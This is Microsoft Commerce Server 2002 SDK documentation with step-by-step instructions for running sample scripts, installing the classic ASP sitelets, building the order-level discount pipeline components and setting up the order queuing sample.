To run the Create Schema Object script

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. Navigate to the CreateSchemaObject.vbs file, located at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Business Analytics\Scripts\CreateSchemaObject.vbs.
  3. Right-click the CreateSchemaObject.vbs icon, point to Open With, and then select your preferred text editor. In this example, Notepad is used as the text editor.
  4. On lines 133 and 134 of the CreateSchemaObject.vbs code, modify the connection string and the URL string to match the settings for the Data Warehouse to which the test classes are to be added. Substitute actual values for those values shown in bold font. In this sample a trusted connection is used instead of passing the username and password.
    strSQLConn = "PROVIDER=SQLOLEDB;SERVER=servername;database=dbname; _
Integrated Security=’SSPI’;"
strURL = "URL=mscop://InProcConnect/Server=servername: _
database=dbname:catalog=DWSchema:Trusted_Connection=Yes: _
FASTLOAD=True"
  5. After modifying the property values, save the file. On the File menu, click Save. (You can also close the file and text editor at this point.)
  6. Click Start, point to Programs, point to Accessories, and then click Command Prompt.
  7. In the Command prompt screen, use the cscript program to run the modified script by typing cscript, a space, and the full path to the CreateSchemaObject.vbs file, and then press ENTER. For example:
    C:\>cscript "D:\Program Files\Microsoft Commerce Server\SDK\Samples\Business Analytics\Scripts\CreateSchemaObject.vbs"

The Command prompt screen shows the status of the script as new classes are created.

To view the classes created by CreateSchemaObject.vbs

  1. Run the Schema Tool. For more information about the Schema Tool, see Schema Tool.
  2. In the left pane of the screen, in the class list, the new classes are listed. The new classes are MyClassX, MyParentX, StudentX, StudentEnrolledX, and TestMVX, where X signifies a ten-digit unique identifier for the set of new classes.

See Also

Schema Reference

Extending the Data Warehouse

Extending the Data Warehouse Logical Schema


New Report Scripts

Location in SDK: SDK\Samples\Business Analytics\Scripts

The SDK\Samples\BusinessAnalytics\Scripts folder includes the following four scripts that can be used to create new static and dynamic reports:

  • Analysis - New dynamic OLAP report script.sql

    This sample script demonstrates how to create a new dynamic OLAP report. Instructions for running the script are in the file. For more information about running the dynamic OLAP report script, see Creating Dynamic Reports Using Cubes.

  • Analysis - New dynamic SQL report script.sql

    This sample script demonstrates how to create a new dynamic SQL report. Instructions for running the script are in the file. For more information about running the dynamic SQL report script, see Creating Dynamic Reports Using SQL.

  • NewGroupedOLAPReport.sql

    This sample script demonstrates how to create a new grouped OLAP report. For more information about running the grouped report script, see Creating Grouped Reports.

  • NewGroupdSQLReport.sql

    The sample script demonstrates how to create a new grouped SQL report. For more information about running the grouped report script, see Creating Grouped Reports.

  • NewStaticOLAPReport.sql

    This sample script demonstrates how to create a new static OLAP report. Instructions for running the script are in the file. For more information about running the static OLAP report script, see Creating Static Reports Using MDX.

  • NewStaticSQLReport.sql

    This sample script demonstrates how to create a new static SQL report. Instructions for running the script are in the file. For more information about running the static SQL report script, see Creating Static Reports Using SQL.

For more information about creating custom reports, see Creating Custom Reports.


Classic ASP Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains six samples that demonstrate the use of the Targeting system, Product Catalog system, Order Processing system, and the User Profile Management feature.

This section contains:

  • ASP-Based Advertising Sitelet
  • ASP-Based Catalog Sitelet
  • ASP-Based Discount Sitelet
  • ASP-Based Order Sitelet
  • ASP-Based Passport Sitelet
  • ASP-Based Profile Sitelet


ASP-Based Advertising Sitelet

Location: SDK\Samples\Classic ASP\Ad Sitelet

The primary goal of the Advertising Sitelet is to demonstrate the use and behavior of the components that work together to display advertisements in a Commerce Server site. In this sitelet, you will view a demonstration of targeted advertisements for hard-coded profile data to learn and understand how the ContentSelector object works. The profile data for this sitelet is stored in the site SQL Server database; this database is populated by Commerce Server Site Packager during the sitelet installation process.

The Advertising Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and display ads using the Campaign Manager module, and you can manage ad targeting based on profiles in your Profiles database. No modification to the source code is required to deploy the Advertising Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Advertising Sitelet can be found in the ASP.NET-Based Advertising Sitelet. For more information, see ASP.NET-Based Advertising Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Advertising Sitelet Code Notes

Installing the ASP-Based Advertising Sitelet

ASP-Based Advertising Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelet sets the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.

Installing the ASP-Based Advertising Sitelet

You unpack the Advertising Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Advertising Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Ad Sitelet\SDK-AD-SITELET.PUP

Use the following procedure to install the Advertising Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Advertising Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Ad Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Ad Sitelet directory.
  2. Click the SDK-AD-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/AdSitelet to open the sitelet.


ASP-Based Catalog Sitelet

Location: SDK\Samples\Classic ASP\Catalog Sitelet

The primary goal of the Catalog Sitelet is to demonstrate how to use the Catalog object model to browse and search a product catalog, providing you with a functional example of the catalog API in action.

The Catalog Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. You can deploy the sitelet to a server running Commerce Server 2002 without the need for code modifications. After the Catalog Sitelet has been deployed, you can use it to browse and search a sample catalog.

The Catalog Sitelet demonstrates the two query mechanisms supported by the Catalog object model, and also demonstrates using the Catalog object model to provide catalog browsing functionality.

Similar functionality to that found in the ASP-Based Catalog Sitelet can be found in the ASP.NET-Based Catalog Sitelet. For more information, see ASP.NET-Based Catalog Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Catalog Sitelet Code Notes

Installing the ASP-Based Catalog Sitelet

ASP-Based Catalog Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP sitelets set the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file Rc.xml.
  • The catalog for this sitelet is both multilingual and multicurrency.

Installing the ASP-Based Catalog Sitelet

You unpack the Catalog Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Catalog Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Catalog Sitelet\SDK-CATALOG-SITELET.PUP

Use the following procedure to install the Catalog Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Catalog Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Catalog Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Catalog Sitelet directory.
  2. Click the SDK-CATALOG-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/CatalogSitelet to run the sitelet.


ASP-Based Discount Sitelet

Location in SDK: SDK\Samples\Classic ASP\Discount Sitelet

The primary goal of the Discount Sitelet is to demonstrate how to create and apply discounts to items added to a shopping cart using the Campaign Manager module in Commerce Server Business Desk and the Basket pipeline. Using this sitelet, you can examine a demonstration of discounts based on hard coded catalog data, and understand how the discount pipeline component works in the Order Processing pipeline (OPP). The Discount Sitelet shows you how to:

  • Create a multilingual site
  • Use discounts as part of campaign management
  • Display discounts
  • Create click-required discounts
  • Create discount applications and expressions (targeted discounts)
  • Create discount events

The Discount Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the Discount Sitelet, you can implement discounts on a Commerce Server-based Web site. No modification to the code is required to deploy the sitelet to a server running Commerce Server 2002.

Discounts in the sitelet are determined by what type of account the user has. Users that log in as Premier Users get 10 percent off all items in their basket. Premier Users also receive an additional 40 percent off Black Diamond Quicksilver II when they purchase Gibraltar. Users that log in as Standard Users get 50 percent off an item when they purchase three items.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Discount Sitelet Code Notes

Installing the ASP-Based Discount Sitelet

ASP-Based Discount Sitelet Code Notes

The discounts, users, and catalog are hard-coded in the Discount Sitelet, meaning that this data is stored in the appropriate SQL Server site database tables during the site installation process.

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. Language character sets are set in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet also supports multicurrency ordering.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.
  • Users that log in as Premier Users get 10 percent off all items in their basket. They also recieve an additional 40 percent off Black Diamond Quicksilver II when they purchase Gibraltar. Users that log in as Standard Users get 50 percent off every third item in their basket.

Installing the ASP-Based Discount Sitelet

You unpack the Discount Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet\SDK-DISCOUNT-SITELET.PUP

Unpacking the ASP-based Discount Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

Use the following procedures to install the Discount Sitelet on one computer using the Quick mode in Site Packager.

To unpack the ASP-Based Discount Sitelet

To add a blank Business Desk to the ASP-Based Discount Sitelet

To import the Adventure Works Catalog

To view the ASP-Based Discount Sitelet

To unpack the ASP-Based Discount Sitelet

  1. Using Windows Explorer, navigate to Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet.
  2. Click the SDK-DISCOUNT-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.

To add a blank Business Desk to the ASP-Based Discount Sitelet

Adding a Business Desk to the Discount Sitelet is optional.

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, on the Tree tab, expand Commerce Server Manager, expand Commerce Sites, and then expand Discount Sitelet.
  3. Right-click Applications, point to New, and then click Add Application.
  4. In the Add Application From dialog box, select Blank.pup, and then click Open.
  5. In the Select Applications dialog box, in the Applications in the package box, clear the BlankSite option. Only the BlankBizDesk site option should be selected.
  6. Click Next.
  7. In the Select IIS Web Sites and Virtual Directories dialog box, do the following:
    Use this | To do this
    Machine Name of IIS Server | Type the computer name for the Internet Information Services (IIS) server.
    IIS Web site | Select Default Web Site on the drop-down list.
    IIS Virtual Directory | Type discountsiteletbizdesk where blankbizdesk currently appears.
  8. Click Next.
  9. In the Unpacking is complete dialog box, review the list of SQL databases and IIS applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  10. To close Site Packager, click Finish.
  11. To close Commerce Server Manager, in the Commerce Server Manager screen, on the Console menu, click Exit.
  12. In the Microsoft Management Console dialog box, click No.

To import the Adventure Works Catalog

  • After unpacking the Discount Sitelet and adding Business Desk, you can optionally import the Adventure Works Catalog into the Discount Sitelet. The Adventure Works Catalog is located at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Discount Sitelet\AdvWorksCatalog.xml.

For more information about importing the Adventure Works Catalog, see Importing an XML Catalog File.

To view the ASP-Based Discount Sitelet

  • In Internet Explorer, in the Address box, type HTTP: //<computer name>/DiscountSitelet, and then press ENTER.


ASP-Based Order Sitelet

Location in SDK: SDK\Samples\Classic ASP\Order Sitelet

The primary goal of the Order Sitelet is to demonstrate how to allow users to create an order, and then confirm and view the status of that order. For more information on order queuing, see Order Queuing Sample.

The Order Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification of the source code is required to deploy the Order Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Order Sitelet can be found in the ASP.NET-Based Order Sitelet. For more information, see ASP.NET-Based Order Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP-Based Order Sitelet Code Notes

Installing the ASP-Based Order Sitelet

ASP-Based Order Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP sitelets set the language character sets in the Main routine of several ASP pages using code such as the following:

Sub Main()
    Set g_ojbMsgMgr = Application ("MSCSMessageManager")
    Response.CharSet = "iso-8859-1"
End Sub

Notes

  • MessageManager object entries are read from the file rc.xml.
  • This sitelet also supports multicurrency ordering.
  • This sitelet uses a hard-coded user ID, which is set in the file siteletconst.asp.

Installing the ASP-Based Order Sitelet

You unpack the Order Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Order Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\SDK-ORDER-SITELET.PUP

Use the following procedure to install the Order Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Order Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Order Sitelet

  1. In Windows Explorer, navigate to the directory containing either the ASP or the ASP.NET version of the sitelet, as described above.
  2. Double-click the SDK-ORDER-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/OrderSitelet to open the sitelet.


ASP-Based Passport Sitelet

Location in SDK: SDK\Samples\Classic ASP\Passport Sitelet

The primary goal of the Passport Sitelet is to demonstrate through code how to integrate Passport single sign-on capability with the Profiling System. With this capability, you and your users can benefit from a single sign-on authentication service, meaning that users can access more than one secure site with the same user name and password.

The Passport Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification to the code is required to deploy the Passport Sitelet to a server running Commerce Server 2002.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP-Based Passport Sitelet

You unpack the Passport Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Passport Sitelet\SDK-PASSPORT-SITELET.PUP

Use the following procedure to install the Passport Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Passport Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the Passport Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Passport directory.
  2. Click the SDK-PASSPORT-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/PassportSitelet to run the sitelet.


ASP-Based Profile Sitelet

Location in SDK: SDK\Samples\Classic ASP\Profile Sitelet

The primary goal of the Profile Sitelet is to demonstrate through code how to use the Profiling System in Commerce Server 2002 to create user profiles, set user profile attributes, and to read user profile data using the Profiling System objects.

The Profile Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and modify user profiles, using the AuthManager, ProfileObject, and ProfileService objects. No modification to the code is required to deploy the Profile Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP-Based Profile Sitelet can be found in the ASP.NET-Based Profile Sitelet. For more information, see ASP.NET-Based Profile Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP-Based Profile Sitelet

You unpack the Profile Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Profile Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Profile Sitelet\SDK-PROFILE-SITELET.PUP

Use the following procedure to install the Profile Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP-based Profile Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP-Based Profile Sitelet

  1. In Windows Explorer, navigate to the directory containing either the ASP or the ASP.NET version of the sitelet, as described above.
  2. Click the SDK-PROFILE-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/ProfileSitelet to open the sitelet.


Order Processing Samples

The Order Processing folder contains the following samples:

  • MinMaxShip Pipeline Component Sample
  • Order Level Discount Pipeline Components
  • Order Queuing Sample


MinMaxShip Pipeline Component Sample

Location in SDK: SDK\Samples\Order Processing\MinMaxShip

The files in this sample are divided into four subfolders: ATL, BizDesk, CSharp, and VB. The ATL and VB folders contain files that constitute parallel implementations of the same pipeline component, known as the MinMaxShip pipeline component. The ATL folder contains the source code for a C++ Active Template Library (ATL) implementation, and the VB folder contains the source code for a Microsoft Visual Basic implementation. The CSharp folder contains the source for a C# implementation of the component.

The MinMaxShip pipeline component demonstrates how a new pipeline component can be added to the Order Processing pipeline, as well as demonstrating the new shipping architecture in Commerce Server.

The BizDesk folder provides a custom Commerce Server Business Desk module that allows the MinMaxShip sample to be quickly added to an existing Commerce Server Web site for use in the shipping stage of an Order Processing pipeline.

To run either implementation of the MinMaxShip sample, you must first either install one of the Solution Sites that can be downloaded from http://go.microsoft.com/fwlink/?LinkId=6767, or install the Order Sitelet and Commerce Server Business Desk. For instructions on installing the Order Sitelet, see Installing the ASP-Based Order Sitelet. For instructions on installing Business Desk, see Adding a Business Desk Application to a Site. After you have installed a site or a sitelet and Business Desk, go to the directory containing the Business Desk files, and do the following:

  • Copy the file MinMax_edit.asp from the MinMaxShip\BizDesk folder to the relevant Shipping folder. For example, C:\InetPub\wwwroot\RetailBizDesk\Shipping.
  • Copy the file shipping_methods.xml from the MinMaxShip\BizDesk folder to the Config folder. For example, C:\InetPub\wwwroot\RetailBizDesk\Config.

After the Shipping module in Business Desk is updated, you can use it to configure new shipment methods of type "MinMaxShip".

For more information about the MinMaxShip sample, see MinMaxShip Sample Pipeline Component.


Order Level Discount Pipeline Components

Location in SDK: SDK\Samples\Order Processing\OrderLevelDiscountComponents

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains two extendable pipeline components: OrderLevelDiscountsApply and ShippingDiscountsApply. The components in the SDK are exactly the same as the components included in the platform except they have distinct Programmatic Identifiers and the source code is available for the SDK pipeline components. Because the SDK pipeline components have unique Programmatic Identifiers, both the platform and SDK components can be registered at the same time.

To create and use the extendable pipeline components, you must perform three procedures.

To build the OrderLevelDiscountsComponents.dll file

To add the OrderLevelDiscountsApply component to a pipeline

To add the ShippingDiscountsApply component to a pipeline

To build the OrderLevelDiscountsComponents.dll file

Before you start this procedure, you must update the Include files for Microsoft Visual C++. For information on updating the Include files, see To update Microsoft Visual C++.

  1. On the Start menu, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual C++.
  2. On the File, click Open.
  3. On the Open dialog box, change Files of type to All Files, and then navigate to the <drive>:\Program Files\Microsoft Commerce Server\2002\SDK\Samples\OrderProcessing\OrderLevelDiscountComponents directory, select OrderLevelDiscountsComponents.dsw, and then click Open.
  4. On the Build menu, click Build OrderLevelDiscountsComponents.dll.
  5. On the File menu, click Save Workspace, and then click Exit.

    Notes

    • Visual Studio automatically registers the component it compiles. If an error occurs, register it manually.
    • The directory that the DLL resides in should allow IUSR_<computer name> account access.

To add the OrderLevelDiscountsApply component to a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify. For example, <drive>:\Inetpub\wwwroot\Retail\Pipeline\basket.pcf.
  3. Right-click the OrderDiscount component, point to Insert Component, and then click After.

    The Choose a component dialog box appears.

    Note

    • The OrderLevelDiscountsApply component should always be placed in the Order Adjust Price stage, between the OrderDiscount and RequiredOrderAdjustPriceCy components.
  4. In the Choose a component dialog box, select OrderLevelDiscountsApply SDK from the Component window, and then click OK.
  5. To configure the new component, right-click the OrderLevelDiscountsApply component, and then click Properties.
  6. In the Component Properties dialog box, do the following:
    Use this | To do this
    Apply discounts to all items | Apply order level discounts to all items in the order form.
    Apply discounts to items where the following key exists and the corresponding value is nonzero | Apply order level discounts only to items in the order form where the specified item dictionary key exists and the corresponding value is nonzero.
  7. Click Apply, and then click OK.
  8. On the File menu, click Save, and then click Exit.

    The new component is added to your pipeline.

To add the ShippingDiscountsApply component to a pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. On the File menu, click Open, and then select the pipeline you want to modify. For example, <drive>:\Inetpub\wwwroot\Retail\Pipeline\total.pcf.
  3. Right-click the Commerce.ShippingMethodRouter component, point to Insert Component, and then click After.

    The Choose a component dialog box appears.

    Note

    • The ShippingDiscountsApply component should always be placed in the Shipping stage, following the Commerce.ShippingMethodRouter component.
  4. In the Choose a component dialog box, select ShippingDiscountsApply SDK in the Component window, and then click OK.
  5. To configure the new component, right-click the component, and then click Properties.
  6. In the Component Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the component.
    Class ID | Type a globally unique identifier for the component.
    Program ID | Type the programmatic identifier for the component.
    Description | Type a description for the component.
  7. Click Apply, and then click OK.
  8. On the File menu, click Save.

The new ShippingDiscountsApply component is added to your pipeline.

See Also

OrderDiscount

OrderLevelDiscountApply

ShippingDiscountAdjust

Business Desk Campaigns


Order Queuing Sample

Location in SDK: SDK\Samples\Order Processing\Queuing

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes the Order Queuing sample that contains components that you can use for queuing orders so you can process them at a later time. Providing the capability to process orders offline is a recommended best practice for high-availability sites.

The Order Queuing sample integrates Message Queuing, which allows an order to be stored in a queue until a server or database becomes available. Message Queuing ensures that users are not affected by server or database outages, and efficiently and accurately stores orders when real-time processing is not a viable option.

Diagram depicting the workflow of the Order Queuing sample.

When order queuing is implemented, the IPersistXML interface is used to convert an order into XML-formatted text. This text is saved in the message queue. The Order Queuing sample includes a sample Reader application that allows you to view the XML-formatted version of the order and save it to the orders database as an OrderGroup object, or return it to the queue for processing at a later time. It is recommended that a custom Reader application be created for use in production Web sites to automate the polling of the order queue.

For more information about message queuing, see the Message Queuing topics available in the Platform SDK in the online MSDN Library (http://go.microsoft.com/fwlink/?LinkId=6680).

This section contains:

  • Order Queuing Sample Code Walkthrough
  • Installing the Order Queuing Sample

Order Queuing Sample Code Walkthrough

The Order Queuing sample includes a writer component (writeorder.cls) and a reader component (readorder.cls). The writer component stores the orders in a private queue. This component should be used in a site or sitelet to store the order in the queue instead of in the orders database. The reader component reads orders from the queue and stores them in your Commerce Server orders database.

The reader application, ReaderApp.exe, is a sample application provided to exemplify one way in which the reader component can be used. The reader application initializes the components, reads the order from the queue where it is stored as XML, returns the OrderGroup object, and then calls the function SaveAsOrder to write the order to the orders database.

Installing the Order Queuing Sample

Use the following procedures to install the Order Queuing sample. After you have installed the code to run the sample, you will need to make the OrderQueue.dll file, make the ReaderApp.exe file, and register the OrderQueue.dll file. You will then need to reset Internet Information Services (IIS).

Notes

  • Before installing the Order Queuing sample, the Order Sitelet must be installed. For more information about installing the Order Sitelet, see Installing the ASP-Based Order Sitelet.
  • Before installing the Order Queuing sample, the Message Queuing Services component in Windows 2000 must be installed on the same computer as the Order Sitelet. The Message Queuing Services component can be installed through the Windows Components Wizard, which is accessible through Control Panel, Add/Remove Programs, Add/Remove Windows Components.
  • Before installing the Order Queuing sample, Microsoft Visual Studio 6.0 must be installed on the same computer as the Order Sitelet.

To install the Order Queuing sample

To make the OrderQueue.dll file

To make the ReaderApp.exe file

To register the OrderQueue.dll file

To reset IIS

To run the Order Queuing sample

To install the Order Queuing sample

  1. Click Start, point to Programs, point to Accessories, and then click Windows Explorer.
  2. Navigate to the global.asa file located at <drive>:\Inetpub\wwwroot\ordersitelet\global.asa.
  3. Right-click the Global.asa file, point to Open With, and then select your preferred editor

    In this example, the text editor is WordPad.

  4. Paste the following code into the global.asa file, in the Main function following the line of code Set Application("MSCSExpressionEvaluator") = MSCSExpressionEvaluator:
    Dim MSCSWriteToQueue

Set MSCSWriteToQueue = CreateObject("OrderQueue.WriteOrder")
Call MSCSWriteToQueue.Initialize ("ordersitelet")

Set Application("MSCSWriteToQueue") = MSCSWriteToQueue
  5. On the File menu, click Save.
  6. On the File menu, click Open, navigate to the orderlib.asp file located at <drive>:\Inetpub\wwwroot\ordersitelet\Include\orderlib.asp, and then click Open.
  7. Comment out the following line of code in the CompleteOrder function of the file orderlib.asp:
    ' Call oBasket.SaveAsOrder()
  8. Paste the following code into the CompleteOrder function in the file orderlib.asp after the line of code ' Call oBasket.SaveAsOrder():
    Dim oWriter
Set oWriter = Application("MSCSWriteToQueue")
Call oWriter.WriteToQueue(oBasket)
  9. On the File menu, click Save, and then click Exit.

To make the OrderQueue.dll file

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.
  2. On the File menu, click Open Project, navigate to the OrderQueue.vbp file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\Component\OrderQueue.vbp, and then click Open.
  3. On the File menu, click Make OrderQueue.dll.
  4. In the Make Project dialog box, click OK.
  5. On the File menu, click Save Project.

To make the ReaderApp.exe file

  1. In Microsoft Visual Basic 6.0, on the File menu, click Open Project, navigate to the ReaderApp.vbp file located at <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\ReaderApp.vbp, and then click Open.
  2. On the File menu, click Make ReaderApp.exe.
  3. In the Make Project dialog box, click OK.
  4. On the File menu, click Save Project, and then click Exit.

You can now register the OrderQueue.dll file.

To register the OrderQueue.dll file

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type regsvr32 "<drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\Queuing\Component\OrderQueue.dll", and then click OK.

    After the registration succeeds, the RegSvr32 dialog box appears.

  3. In the RegSvr32 dialog box, click OK.

To reset IIS

  1. Click Start, and then click Run.
  2. In the Run dialog box, in the Open box, type iisreset, and then click OK.

A command box appears while IIS is being reset. IIS is reset when the command box closes.

To run the Order Queuing sample

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type http://<server name>/ordersitelet, and then press ENTER.

    The default.asp page for the Order Sitelet appears.

  3. Place a sample order in the Order Sitelet following the on-screen directions.
